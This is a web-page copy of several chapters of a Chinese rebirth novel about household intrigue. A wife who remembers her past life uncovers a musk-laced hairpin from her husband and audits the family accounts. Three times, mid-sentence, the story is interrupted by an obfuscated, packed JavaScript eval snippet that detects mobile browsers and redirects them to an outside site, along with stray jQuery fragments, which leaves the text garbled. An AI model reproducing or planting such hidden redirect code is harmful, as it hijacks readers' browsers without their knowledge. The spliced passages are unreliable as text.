但即便气到五脏六腑都在翻腾，贯来能忍的理智让她不得不镇定下来，拍了拍怀中的姑娘，看向赵太太道：“亲家母觉得应该怎么处置呢？” 赵太太目不斜视，很是坦然道：“明敬向来酒量一般，又嘴笨口拙，不会推诿拒绝，每次都在别人的劝酒下喝得东倒西歪，元荷是知道的。派乐巧过来服侍明敬，也是元荷的主意，如今事已至此，不如就将错就错认了吧。” 她不再揪着萧元荷有意算计的小把柄，你萧家也要默认姑爷纳妾，各退一步。 萧元荷岂肯甘休，抹了一把哭花的脸，紧走两步，一把将半坐在床头的乐巧拉开，换成自己坐在床边，楚楚可怜的看着赵明敬。 见他眼中依旧有未曾散去的疼惜，再也忍不住，一头扑进他的怀里，紧紧地抱紧他，呜咽道：“你不要纳妾好不好，我以后不和你闹脾气了，我们好好过日子。” 邓氏年轻时是个一等一的美人，两个孩子都生的好。萧元绰玉树临风，皎皎如月；萧元荷明艳动人，最能撑起华丽的衣衫和妆容。 今日见她哭得海棠泣泪，浓艳的容貌中多了些柔和，让赵明敬立刻软下心来，下意识地应道：“你放心。” 短短三个字，就安了萧元荷的心，也给了邓氏继续与赵太太斡旋的底气，陪笑道，“亲家母，小两口和好了，咱们就别插手了。” 赵太太看着难舍难分的两人，满是怜惜地看了乐巧一眼，问向赵明敬：“那乐巧这丫头怎么安置？出了这样的事，传出去还让她怎么活？” 赵明敬面露愧色，无力辩驳道：“我们什么也没发生，就是误会一场。” 内院之事，萧元绰不好开口，见姐夫睨向自己，接话道：“伯母，今日这事也只有我们一家人知晓，绝不会传出去坏了乐姑娘的名声。姐夫的人品我是信得过的，本就是子虚乌有的事情，不能一味将错就错，而是要悬崖勒马。” 赵明敬也附和道：“母亲，乐妹妹温柔体贴，善解人意，一定会有更好的归宿。” 无依无靠的乐巧，只能无助的落泪，泪汪汪地看了赵太太一眼，见她眼光复杂而犹豫，知道没有人能帮自己了。二爷不愿意，萧家也不松口，太太总不能牛不喝水强按头。 她将委屈咽尽，朝着赵太太福了福身子，哑声道：“乐巧愿意服侍太太一辈子，终生不嫁。” 她这一退，给了所有人颜面，也让本就怜惜她的赵太太对她更多一分愧疚，安慰道：“女孩子怎么能不嫁人，自是给你寻一门好亲事。元荷，可别忘了给乐巧备一份丰厚的嫁妆。” 最大的危机解除，萧元荷破涕为笑，利落地答应道：“那是自然。” 邓氏也跟着笑道：“小两口以后好好过日子，荷儿，以后你再回家诉苦，我立刻拿大棒子将你撵回去。有这么明事理的婆母，是你的福气。” 安抚住萧元荷，邓氏怕赵太太再说出什么气话来，忙拉着她转去别间唠家常，临了吩咐一旁的丫头道：“我刚得了几匹不错的好缎子，你带着乐巧姑娘去选两匹做衣裳，听说她针线做得极好，可别委屈了自己。” 乐巧闻言，气得咬紧槽牙，怎么她这丫头只配给别人做衣裳？这次确实不能委屈自己！ 乐巧着实没客气，给自己选了两匹鲜亮的，又给赵太太选了两匹稳重的料子，临走前还不忘给邓氏拜谢：“太太给的料子就是好，我正好选两匹给母亲做两件冬衣，过年时候穿。” 邓氏笑眯眯道：“好丫头，真让人疼，快回吧。” 萧元荷拉着赵明敬欢欢乐乐地上了马车，一路上都依偎在他怀里，说着天气冷了，要带母亲和乐巧去京郊泡温泉。 萧元荷口中能泡温泉的地方，便是在她出嫁时，归宁的母亲给她的添妆之一。这个小姑姑不仅给她添了一套华贵的头面首饰，还送了她四个铺面，一个庄子，出手相当阔绰。 她出嫁时父亲仍在世，一家人还能聚在一起其乐融融地过大年。 可这种被宠着的日子没过几年，父亲就过世了，紧接着祖母也过世，弟弟也不得不辞官回到祖宅丁忧。 热闹的萧家很快沉寂下来，曾经笼罩在萧元荷身上的那些光环，也因萧家的失势，而渐渐消失。她能明显感觉婆母对她的态度变化，在祖母过世后尤甚。 好在弟弟争气，他回来了。邓家的表兄也颇受上司赏识，一切都会好起来的。 区区一个乐巧竟能让她栽这么大一个跟头，必须想其他办法早点儿收拾了…… ** 送别众人，已是戌初。萧元绰再回书房时，桌上摆着一碗莲子银耳粥，几碟清爽的小菜，还有一盘他最喜欢的清炒枸杞芽。今日喝了不少酒，就喜欢这种清淡的东西。 归宁已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541650|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挣扎着下床，将竹箸放好，柔声道：“夫君吃些东西吧。母亲那边我也让厨房送过去了。” 萧元绰见桌上只摆了一副碗筷，问道：“你不和我一起吗？” 周嬷嬷替归宁道：“夫人这会儿估计还坐不下去，还是要回去躺几日。病病歪歪地陪着大爷吃饭，算什么规矩。” 归宁是无辜被连累的那个，秦管事是府里的老人，也是归宁最得力的臂膀，吴明和大姐姐今日所作所为着实是在打归宁的脸。萧元绰有些愧疚道，“我送你回去吧。” 归宁莞尔，“已经让后院的婆子抬来了软轿，夫君安心吃饭吧。” 萧元绰在归宁的婉拒中感觉到了一丝躲闪，他上前几步，轻轻揽上她的纤腰，低低道：“阿宁，你是不是不高兴？” 归宁低眉躲开他灼灼目光，“吴管事和姜妈妈的差事要有人顶上来，母亲院中的事，自有母亲操心，可这管家夫君可有人选？” 萧元绰离家多年，对府中庶务尚不熟悉，反问道：“你觉得呢？” 归宁没有乾纲独断：“我需得想想，改日拟定几个候选人，让夫君参详参详？” 想起大姐姐在赵明敬面前那说一不二的样子，他更喜欢归宁这种有商有量的相处，于润物细无声中，给与他最好的支持，亦如等他忙完手上焦头烂额的事，回头能看到桌上这碗温热的清粥。 忍不住笑萦眼眸，“好！今日我就将他们手上的钥匙和对牌收上来。” 交代完重要的事，归宁觉得没什么可啰嗦的，微微福了福身子，准备告退。可刚刚欠身，就被萧元绰扶住，“我送你出去。” 软轿落在了书房门口，周嬷嬷走在前面打起帘子，萧元绰扶着归宁走在后边，快到门口时，萧元绰一把将周嬷嬷打起的帘子拽了下来，将周嬷嬷挡在门外，将归宁留在门内，揽着她的肩头，贴近她耳边，轻轻吐气，“大夫有没有说要多久能养好？” 他今日忙得晕头转向，等他过来瞧时，郎中已经走了。 归宁不喜欢他离自己这么近，前世种种，让她本能的抵触，微微躲开些道：“看恢复情况。” 萧元绰将归宁耳边的碎发轻轻拨到耳后，捏了捏她柔软的耳垂，轻言轻语：“阿宁，明天我请个医女来，给你仔细瞧瞧。” 本朝无论民间郎中还是朝中御医都是男子居多，给内宅女子看病很是不便，尤其是这种可能伤了筋骨的撞伤。不下手推拿，很难发现症结。 萧元荷惜命的紧，没用多大力气。归宁对自己的身子很清楚，她只想借伤病多躺几日，让萧元绰不要去叨扰她，好让她腾出手来暗中部署自己的计划。 若是请了医女，她还怎么装病？ 归宁将头压得很低，弱声道：“多养些时日就好了。今天的事不宜声张，让郎中开两副药就是了，不必频繁来诊脉，惹人多心。” 萧元绰不以为然，“谁没有个头疼脑热？你也太小心了，身子要紧，切不可耽搁了。” 他捧起归宁的脸，眼中满是关切道：“犯错的是大姐姐，没必要让你担着委屈。” 15. 问茶 盈盈秋水中映出男子坚定而赤诚的神色，如此的情真意切，让归宁很是怀疑前世那个故意在她胭脂中藏入麝香的人，和眼前人是不是同一人。 一个人怎么可以将善恶喜好掩饰的这般好，即便亲身经历过背叛，也忍不住要为他去开脱。 她冤枉他了？归宁不由自问。 不，没有！他若不知情，为何前世她送胭脂给范氏时，会额外叮嘱香冬？他若不是有意，为什么要在送她的金凤簪里动手脚？他若真的一心向着她，为什么前世邓氏让她过继嗣子时，明知她不愿意，却不肯为她说一句话？ 他若真这么在乎她，为什么他在应天的这四年里，她写了无数封家信，事无巨细不厌其烦的诉说着自己的等待，他却回信寥寥，对于她的嘘寒问暖总是视而不见？ 不过相视一瞬，有万千念头闪过归宁记忆，左右犹豫间，在旁人看来却是有些发呆发傻，落在萧元绰眼中，更是无尽的娇俏可人。 眼中的笑意层层叠叠堆积起来，溢满整张英挺的面庞，下意识地将头压下去，要去亲吻失神的归宁。 归宁感觉到了危险，下意识地往后躲闪。分明是躲避推拒，落到萧元绰眼中，倒胜似迎，逗得他低低发笑，柔软的薄唇错过了她莹润的红唇，印在了她吹弹可破的脸颊上。 归宁又羞又急，面红耳赤，费力地推开他。 更让萧元绰想起未成亲时的光景，那时他稍稍离得近些，她都会羞红着脸躲开，羞答答模样似极雪地里含苞待放的红梅，只需稍稍抬眼，双眸剪秋水，勾魂摄魄，让他挠心挠肺似的难受。 他以为她还似儿时那般害羞，在她红透的耳根前喃喃细语，“阿宁，咱们已经成亲了。” 坚毅的下巴在归宁的颊边轻轻蹭了蹭，灵巧的舌尖温柔的挑逗着她红透柔软的耳垂，张开牙关，轻轻的咬了一口。 归宁紧张地全身汗毛竖起，僵硬地不敢动，甚至有些止不住的发抖。萧元绰的一举一动都牵动着她敏感的心神，让她既警惕又不知所措。 前世他们有比这更亲密的温柔缠绵，也有比这更让人脸红心跳的夫妻敦伦。她乖巧的蜷缩在他怀里，化为一滩温柔的水，任由他主沉浮。更在他一次又一次的疯狂中，辗转成啼，痴缠不休。 他总是那么护着她，宠着她，夫妻情义堪比金坚。 那张温柔的大网，牢牢束缚包裹着她短暂的一生。她就如蜘蛛网上翩翩起舞的凤尾蝶，远看还是那么光鲜亮丽，走至尽头才知，她已经被牢牢地束缚住手脚，成为捕食者眼中垂死挣扎的猎物。 猎物并不急着将她吞并，而是抓紧所有时间，享受着她能带来的美好与慰藉，甚至不惜递上甘甜的花蜜，让她衣暖饭饱，心甘情愿做他的掌中之物，奉献自己的一生。 人都说，若能重活一世，一定不会再跳入火坑。可她离他这么近，还是看不透，这张满是温柔宠溺的俊美面庞之下，到底藏着怎样的心。都说人的眼睛不会说谎，可归宁真的是看不透。 往事种种涌上心头，让归宁更加紧张和害怕，僵直着身子，无法回应萧元绰的热情。 萧元绰感觉到怀中女子的异常，轻轻呼唤了两声，“阿宁，阿宁……” 温热的气息换回了归宁的游走的神思，前世的怨怒加上现下的无路可退，让她心血上涌，发泄般狠狠地咬上萧元绰修长的脖颈，直到口齿中感觉到一丝腥甜，才松开口，带着无尽的委屈道：“我身上难受，你还欺负我。” 这个反应，却让萧元绰无端心安。她不怕她发泄，就怕她有事藏在心底，让他猜不透她的心思，无法掌控她的悲喜。 浅浅一笑，轻轻抚上她的脊背，低哑道：“不是欺负，是喜欢。等你养好身子，咱们就把四年前落下的那杯合卺酒喝了。” 见归宁脸红如霞，扭开脸不看他，萧元绰修长的手指摩挲着她滑润的下巴，嘴角轻扬。突然弯身将她抱起，笑道：“我抱你出去。” 守在屋外快冻僵的周嬷嬷终于见猩猩毡帘内有了动静，忙从外边帮忙挑起，只见萧元绰抱着归宁出来，轻轻将她放在门口的软轿上，放下轿帘，对着两个粗使婆子叮嘱道：“小心些，别摔了夫人。” 几人应了一声，向萧元绰福身行了礼，才抬着吱呀作响的轿子离开。 回到孤芳苑，周嬷嬷和香冬小心地扶着归宁进了屋，南烟拿了两个小银馃子，塞到两个婆子手上道，“辛苦你们了。大冷天的，去喝杯热酒暖暖身子。” 两个婆子笑得合不拢嘴，将银子收到怀里，恭敬道：“姑娘客气，伺候夫人是我们的荣幸。” 南烟眉尖微挑，压低声音道：“知道怎么做吧？” 两个婆子道：“知道。保管不出两日，府中上下都知道夫人伤得不轻。” 南烟点了点头，“天儿冷，就不虚留你们了，去歇了吧。” 两个婆子得了令，抬起小轿，快步出了孤芳苑。 厨房已经将饭菜送了来，用小火炉煨着，归宁身子不适，半靠在床头歇息，只喝了一碗牛肉羹，吃了两块枣泥山药糕，周嬷嬷见她吃得少，端来一小碟虾仁煎饺，笑道：“这个味道不错，你尝尝。” 归宁拿起竹箸，夹了一个放在嘴里，外皮酥脆，内陷鲜香，的确不错，一口气将剩下的五个吃完了，拿一旁的茶水漱了漱口道：“都撤了吧，让我歇歇。” 周嬷嬷将剩下的菜赏给底下丫头婆子，又命人在里间的火盆里添了炭，灌了汤婆子给归宁抱着。 又在外间的红泥小火炉中，用小铜壶煮了水，冲了一杯武夷大红袍，端来给归宁喝。这茶是昨日才得的，她听柳妈妈说不同寻常的金贵，哪怕是宫中的贵人也未必能尝上一口，周嬷嬷也只舍得放了几根。 归宁心思沉重，见她这会子冲了这个茶，不由得三分可惜七分无奈地笑了笑，“这可是功夫茶，哪里是这般牛饮之物？武夷山的大红袍产量稀少又耐冲泡，续水七八次仍有余香。需小壶小杯细品慢饮，才能喝出岩茶之巅的古茶韵味。” 周嬷嬷讪讪一笑，“老婆子可不懂这些，只知道姑娘的心思就像这茶，需要细细的品，才能琢磨出些味道来。” 面上是说茶，可今日这茶不一般，发生的事情更不一般。周嬷嬷意有所指，归宁不是不明白。 周嬷嬷适时出现在前院，带走险些被算计的乐巧；萧元荷的丫头桂香恰到好处的出现在吴明的房间。这根本不是巧合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541651|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，归宁的暗中部署，功不可没。 其实还不止这些，昨日特意让秦三赶车，送归宁出府，也是她的有意安排，就是请杨老夫人做客，也是她留下的后手。 只是邓氏着实精明，找准时机将与她一向不对付的盛昌伯府卢夫人支走了，要不今晚恐怕更热闹。 秦管事的母亲因照顾小舅舅而染病身亡，老太太在世时对秦家很是看重，与姚家的往来也多是秦管事出面，若是卢夫人知道萧元荷如此行事，定要对邓氏冷嘲热讽一番，或许能翻出归宁都不知道的一些旧账来，让归宁从中窥探邓氏的一些小秘密。 可惜，她也不过是被困在笼中的金丝雀，不是指点江山的能人异士，不可能事事如意。 周嬷嬷是归宁身边的老人了，对她的秉性一向了解，见她今日不仅不宁事息人，还颇有闲心的推波助澜。若是萧家真出了丑，对她也没什么益处，这与归宁的平日所为大相径庭。 心中大为疑惑，才要借今天这杯特殊的茶，试探一番。她是下人，过问主子的事，要讲究分寸。 正是周嬷嬷的这份进退有度，让归宁感觉自在融洽。她轻啜了一口茶，香气馥郁如兰花，称赞道：“武夷山九龙窠大红袍，果真名不虚传。” 此茶正是昨日小周王所送，小周王此来拜会，只带了掌心大小的一盒茶叶来。木盒雕工精美，用方方正正的小楷写着“武夷山天心岩九龙窠大红袍”，一侧还画着长在悬崖峭壁上的茶树。 此茶乃福建武夷山特产，其他地方没有，便是移植，也没有武夷山岩茶独有的清香韵味。 周嬷嬷还想说小气，柳妈妈跟随归宁的母亲打理宋家生意，见到的蹊跷玩意儿到底比一般人多些，对这种茶叶有所耳闻，笑道：“你这老货懂什么？这百年老树上的茶，一年也产不了一斤，而且采摘极其困难，能喝上一口，那都是神仙级别的人物。咱们也就是托这位贵人的福。” 末了，柳妈妈还笑着补了一句：“这位贵人呀，身份不一般。” 归宁闻听二人的闲谈，清咳了一声，打断道：“今日之事，莫要再对任何人提起，母亲那里我自会去说。若敢对外胡言半句，我恐怕保不了你们。” 她大概能猜到，前世母亲为什么将信函的一半毁掉了。现在距离前世母亲过世还有两年时间，这两年里母亲只回过一次苏州，其余时间都在京师陪着归宁。 小周王应该没有机会和母亲会面，所以才托人送来书信。信的前半段应该是言明父亲对他的救命之恩，后半段才有了报答之言。母亲清楚留下这封信可能会给周王带来祸端，所以毁了一部分。 今世，因缘巧合，她见到了小周王，还亲耳从他口中得知父亲死亡真相。只觉自己前世将身后事托付周王，为她讨回公道是选对了人，心里无由来的多了些欣慰。 可周嬷嬷不知道，如今这副躯壳里装的是十年后的那缕早逝的芳魂，很奇怪为什么归宁突然不帮着自己夫家，反而眼睁睁看着事情闹大。 她隐约觉得，应该是和昨天见到的那个人有关，除了这个不速之客，夫人这段时间没见过生人。 她由此产生了臆断，可心里猜不准，才有了现在的借茶试探。 16. 发簪 归宁将喝了一半的茶盏放在床边的高几上，指了指梳妆台道：“嬷嬷将夫君送我的那支累丝嵌宝石金凤簪拿来吧。” 前世她很喜欢这支累丝嵌宝石金凤簪，每当她戴上，萧元绰都直夸好看。那时夫妻感情如胶似漆，夜夜痴缠，相拥而眠，可她的肚子就是不争气，期间母亲还给她寻了不少偏方。 一直到两年后，才有喜讯传开，她终于有了身孕，可她与那个孩子无缘，不小心跌了一跤，孩子没了。 她猜测，那支累丝嵌宝石金凤簪里残存的麝香，会随着时间的推移而药效减退，让她有幸得了个孩子。 这让萧元绰很意外，自从那个孩子掉了之后，刚刚做完月子的香冬就来服侍她，萧元绰为了安慰她，在这期间送了不少首饰和胭脂水粉给她，劝她不要伤心难过，以后的日子还长着呢，养好身子要紧。 自此之后，归宁的肚子再无动静。 母亲也在她休养期间病故。 从此她在这世间再无亲人，把萧元绰当成她未来人生中唯一的依靠。萧元绰和邓氏待她确实不错，人前一直夸她如何持家有方，如何温柔贤德。一家人从没说过两家话，有商有量，和和气气。 如今林林总总仔仔细细回忆起来，归宁只能感叹，有些人的城府，就是她活八辈子，可能都赶不上。 周嬷嬷将东西取了来，递给她，调笑道：“姑爷待小姐还是很用心的，看这支簪子，雕工精美，用料不俗，一看就不是凡品。” 归宁没有伸手接，轻叹道：“做工是不错，只不过我偶然发现，这凤嘴里藏了不一般的东西。” 周嬷嬷的笑容僵在脸上，“什么……什么东西？” 归宁沉吟未语，示意周嬷嬷好生看看。 周嬷嬷拿起那支累丝嵌宝石金凤簪，移步到两盏银釭前仔细观瞧，没瞧出什么不妥。 归宁将枕头底下的银针取出来，示意周嬷嬷过来，小心地探入凤口中搅动片刻，倒出一些极细微的小碎渣。这支累丝嵌宝石金凤簪上镶嵌的金凤凰内部是中空，膏体应该是还未凝固时灌入体内，风干凝固后看不出任何端倪。 归宁将东西用白色绢帕包好，塞给周嬷嬷，“我已经让人给母亲去信，她明日下午就回了。辛苦嬷嬷跑一趟，和母亲一起寻个游医瞧瞧，是什么脏东西。” 周嬷嬷有些难以置信，脸上神情复杂，半晌才道了句：“这……这是姑爷送您的……怎么会……” 比起周嬷嬷的震惊，归宁只剩下平静，“万事不明，不宜声张。嬷嬷要务必和母亲一起去探个究竟。我今日累了，嬷嬷也去歇了吧，让香冬来值夜。” 周嬷嬷急忙将东西收好，见高几上茶盏里的茶还剩下一半，犹豫要不要收走。归宁见状，端起茶盏一饮而尽，抬袖抹去唇间的水渍，递给周嬷嬷道：“这茶叶好生收着，也不是我小气，而是着实金贵，留着招待贵客吧。” 小周王只送了两盒，归宁拿了一盒，另外一盒留给了母亲。 周嬷嬷知她一向安排周全，点头应道：“姑娘放心。” 周嬷嬷下去，过了大约半刻钟，香冬红着眼圈走了进来。看样子应是大哭了一场，不知是谁惹了她。 ** 屋内暖香幽幽，恬淡静谧。 香冬服侍归宁躺下，掩好被角，转身要去暖阁值夜，被归宁唤住，“怎么了？谁惹你了？” 香冬撇开脸，极力掩饰自己哭肿的双眼，低哑道：“没，就是想我娘了。” 她娘死得早，她爹娶了后娘之后，生了一个小弟弟，后来遇到大旱，粮食欠收，后娘就撺掇她爹就把她给卖了。母亲看她可怜，将她买了来，做了归宁的丫头。 归宁见她不肯说实话，半眯着眼道：“早些歇了吧。我这几日身子不爽利，屋里屋外的事情，你们多操心帮忙盯着。” 香冬应了一声，将灯熄灭，二人一夜无话。 翌日一早，南烟过来给归宁擦跌打油，归宁趁机问道：“香冬怎么回事儿？” 南烟四处瞧了一眼，确定香冬不在屋内，才在归宁耳边低语道：“还不是那个吴明。吴明属意于香冬，私下里偷偷送了她不少东西。就等着大爷回来，向您提亲了。” 归宁拧眉，“这事我怎么不知道？你们也是，终身大事都瞒着我，当我这主子是什么人了？” 南烟笑了笑，“哪里，哪里？我也是昨个儿才知道的。昨天香冬躲在院子外，偷偷烧东西。我远远瞧见了火光，以为是谁在背地里烧纸钱，走过去一看，才发现是她。” “一瞧见我来，就抹起了泪。实在遮掩不过去，才抽抽搭搭的给我说了，这些东西都是吴明托太太院子里的粗使婆子王婆子悄悄送的。都是些不值钱的小玩意儿，讨巧还行，没什么大用，她自己瞒着不说，我们也都没放在心上。” “昨个儿吴明出了那档子事儿，香冬知道他是个靠不住的花架子，一气之下，将他送的那些东西全烧了，就当和这人从来没有联系过。” “我过去时，已经快烧完了。她一再求我不要让我告诉您，怕姑娘知道了要赶她走。她一个人孤零零的，怪可怜的。” 香冬和南烟她们不同，香冬是母亲买来的，南烟她们几个都是家养的奴婢，老子娘都在府里。自外祖母掌家开始，她们的父辈们就已经在府里当差。 正是因为香冬在这里没有亲人，万事只能依靠归宁，归宁才更信任她。殊不知，孩子成了她人生中最大的软肋。 听了南烟一席话，归宁心中对邓氏的算计更清楚了几分。算计秦管事，挪用公中的钱，让院中的王婆子暗中牵线，替吴明说亲，等到香冬芳心暗许之际，再借萧元绰的无心之言向归宁说和。 归宁自然会问一问香冬意见，见她涨红着脸，羞答答道：“一切全凭夫人做主。”吴明生得俊，又会哄人，后续自然是水到渠成，一切都布置的滴水不漏。 邓氏如此费尽心思安置香冬的归宿，目的就是将手伸进她的屋子里，暗中对她下手。 思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541652|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及此，归宁道：“这事儿不能就这么悄悄地过了。吴明与大姐姐的丫头桂香暗中苟且，已经被逐出府，自然不是什么良配。要大大方方的把这事儿拒了，免得后续还有人贼心不死。传香冬与吴明还有什么牵扯，惹来一身腥臊。” 南烟道：“昨天庆宴的事，大姑奶奶做得真不厚道。” 桂香出现的那么及时，自然是南烟的功劳。 南烟的母亲是秦管事的妹妹，其父是个考了二十年也没中举的秀才，如今开了一家书肆，经营字画和书籍，偶尔帮人代笔写些书信。因字写得不错，偶尔帮周边的铺子题个字，写个匾额等。 前世秦管事出事之后，萧元绰以雷霆手段将其赶出萧家。而乐巧也因受辱，一根白绫悄悄结束了自己年轻的生命。 为此归宁为了安抚赵太太，折了不少银钱出去，还出钱出力将乐巧风光大葬。 秦管事离开之后归宁细细查账，竟然牵扯出一堆烂账、坏账来，还有私放印子钱等，南烟作为归宁身边最得力的大丫头，是辅助归宁管家的一把好手。 秦管事弄出这么大亏空，还能瞒住归宁，说明南烟极有可能是共犯。无法自证清白的南烟没有脸面再留在归宁身边，归宁快速给她寻了一个殷实的商贾之家，当时母亲还在，这家和宋家有些生意上的往来，归宁比较放心，便将她嫁了过去。 现如今，归宁保住了秦管事，但她不确定秦管事背着自己做了多少事，若不是有把柄握在邓氏手上，他何至于瞒着归宁偷偷帮邓家买地？而且前世为什么不见他提起此事？ 归宁道：“让你舅舅一会儿来我院子一趟，我有话问他。” 南烟忙描补道：“夫人不找他，他也要来夫人跟前请罪的。” 南烟帮归宁穿好衣服，将清淡开胃的早饭端了上来。归宁清楚，接下来两天，还有不少事要安排，要攒足力气，很争气地吃了个饭饱。 等她漱了口，被召唤的秦管事急匆匆地来了孤芳苑。 归宁在南烟的搀扶下，起身去了外间，坐在柔软的贵妃榻上，中间隔了屏风，秦管事对着里面模糊的人影见礼，“夫人万福。” 南烟从屏风内走出来，对着作揖的秦管事道：“舅舅将最近的事老实交代了。昨天若不是夫人周到谨慎，让周嬷嬷去前院看看，被套进去的可能就是舅舅了。” 外面天寒地冻，秦管事额头上仍起了细密的汗珠，他抬袖擦了一把，诚惶诚恐道：“夫人，老仆知错。”平时最得脸的前院大管事，今日在主子面前也谦卑了不少。 归宁心中早有猜测，淡声道：“说说吧。” “老仆拿公中的银子去放印子钱，被吴明知道了。他告诉了太太，太太找到老仆，说‘既然公账上这么富足，有多余的钱外借，就帮我买块地吧，先从公中支取，等有了我再补上’。言里言外，都说是借银子，让老仆帮着操办。” 太太没有责骂他，只是说借别人是借，借她也是借，就让秦管事辛苦一下，帮忙操办一番。 17. 查账 秦管事老实交代道：“老仆想着帮太太把事办妥，再把外面放出的印子钱收回，把账面平了，就没事了。谁知，邓家的钱一直没到，太太面色很难看的找到我，说了她的难处，还骂了邓家的外甥一顿。让我稍安勿躁，再等一等。” “太太说，等公中的钱实在周转不开了，她自己会来找夫人说道此事，绝不会让我为难。老仆想着，实在不行，把地卖了，把钱再收回来就是了。为了这点子事儿，不至于告到夫人这里，折了太太的面子。就这么拖了一个月，一直到昨天。” 大概秦管事心里也明白了，太太等的是一个机会，一个一举将他踢出弘文伯府的机会。 归宁道：“除了放印子钱，没有其他了？” 秦管事老实道：“没有了，没有了。老仆也是见别家都这么干，一时眼红，才去试试。” 归宁心中不解，既如此，前世秦管事离开后，那些慢慢浮出水面的烂账、坏账哪里来的？她得查一查才是，遂道：“那好，把近半年的账册都拿到我房里来。” 想到吴明，又道：“吴明一直管着库房，钥匙大爷已经收回了。你派个可靠的人盯着，帮着清点库房。” 秦管事早上就见吴明在收拾东西，听说连太太院子里的姜妈妈也要送出去，知道昨天的事闹得很大，他必须紧紧依靠夫人这棵大树。 大约过了小半个时辰，秦管事带着秦三亲自将整理好的账册，抬到了孤芳苑。 归宁后背还是有些疼，却不愿意躺着。好不容易从前世卧病在床的日子里摆脱出来，她不想再回归那副病恹恹的模样。 窗外的天有些阴沉，归宁却不急着理账，而是倚在暖隔里，饶有兴致地翻看一本闽南游记，正读到有关武夷山的传说。 她身边的针线笸箩里放着一个绣了一半的香囊，在苏醒前，她没日没夜的赶绣，想着二人圆房后，亲自系在他的腰间，当定情之物。如今已经被她搁置了许久。 南烟见她这会儿拿了出来，却不动手，心里不免有些狐疑，可也不好多问。 随手拿了两本账册放在炕几上，道：“夫人看看吧。” 归宁轻轻拍了拍账本，示意她拿下去，微微一笑道：“等夫君下值之后，拿给他和太太瞧吧，秦管事我信得过。既然要查，咱就查个彻底，都别遮着掩着。” 这话南烟听懂了，“既然查了舅舅的账房，吴明管的库房，其他人管的厨房、茶房、古董房，还有粮仓，是不是都要查一查？” 归宁点点头，“自然是要查。不过这些查起来太费时间，一下子弄得所有管事人心惶惶也不是好事，先捡着重点的敲打敲打，剩下的慢慢来。” 活了两世的归宁非常清楚，人皆有贪念，再是文官清流的大户人家，府里也会有些藏污纳垢的肥差。前世她管家，虽公正，却也有些严苛，立下了威信，也让仆人们对她有些畏惧。 今时，太太敢将手伸到秦管事那里，不好说其他地方有没有亏空，前世安在秦管事头上的那些烂账到底哪里来的，归宁一定要查清楚，否则后患无穷。不过也要找个由头，不至于让人骂。 查秦管事和吴明就是一个突破口，横竖事情是萧元荷惹出来的，她顺手推一把就是了。 南烟经归宁提点，明白了主子的意思，笑道：“夫人让太太查秦管事，那太太就不能拦着夫人查吴管事了。” 归宁轻啜了一口茶，“正是这么个理儿。” 主仆二人刚说了几句话，邓氏带着姜妈妈来了。归宁让南烟将账册拿两本出来，让她做个样子。 香冬给二人打帘，邓氏笑得一脸慈和，“香冬丫头出落得越发水灵了。” 邓氏眼光不差，香冬的确是几个丫头中，姿色最好的。 归宁见邓氏前来，放下手中的东西，要下炕见礼。邓氏忙紧走两步，扶着她坐好，“咱们这样的人家，不需要这些虚礼，快些坐好，别扯动了伤处，疼得难受。” 撇头看到炕几上摆着的账本，忙劝道：“府里的事都放一放，养好身子要紧。” 归宁闲闲一笑，“听有人状告秦管事挪用公中的钱，儿媳不敢怠慢，自然要查一查。这不吴管事要走，自然要有人顶上来。也一并查清了，别留下什么疏漏。” 邓氏脸上笑容依旧，忙道：“说得对，说得对。不过不急于这一时，慢慢来。” 而躲在邓氏身后的姜妈妈，脸色青一阵红一阵，对着归宁福礼道：“夫人，奴婢要走了，给您道个别。” 邓氏坐在归宁身旁，拉起她的手，不舍道：“她好歹服侍我一场，没有功劳也有苦劳。儿子大了不由娘，吴明做得那些糊涂事，她也是被蒙在鼓里，无辜被牵连了。她这一走，我身边连个知冷知热的人都没了。”说着，眼圈儿跟着一红，看的归宁都于心不忍。 话是邓氏当着亲家母的面说出口的，为了女儿的名声，她不能当面一套背后一套。无端来给归宁诉苦，不过就是想让她出面转圜，去给赵太太说好话，过些时日将姜妈妈接回来。 归宁轻叹一声，“昨天儿媳受了伤，后面的事也不甚清楚，都是夫君处置的。这些账目儿媳过目之后，会拿给夫君和母亲再看一遍，莫要冤枉了好人，更不能放过那些宵小。所谓清者自清，等查清了，夫君自有处置，儿媳不敢擅断。” 话出口，归宁不由得心中一松，病了就是好，可以把事情往外推，不用承担这么多。若是昨天是她处置，萧元荷指不定怎么闹。 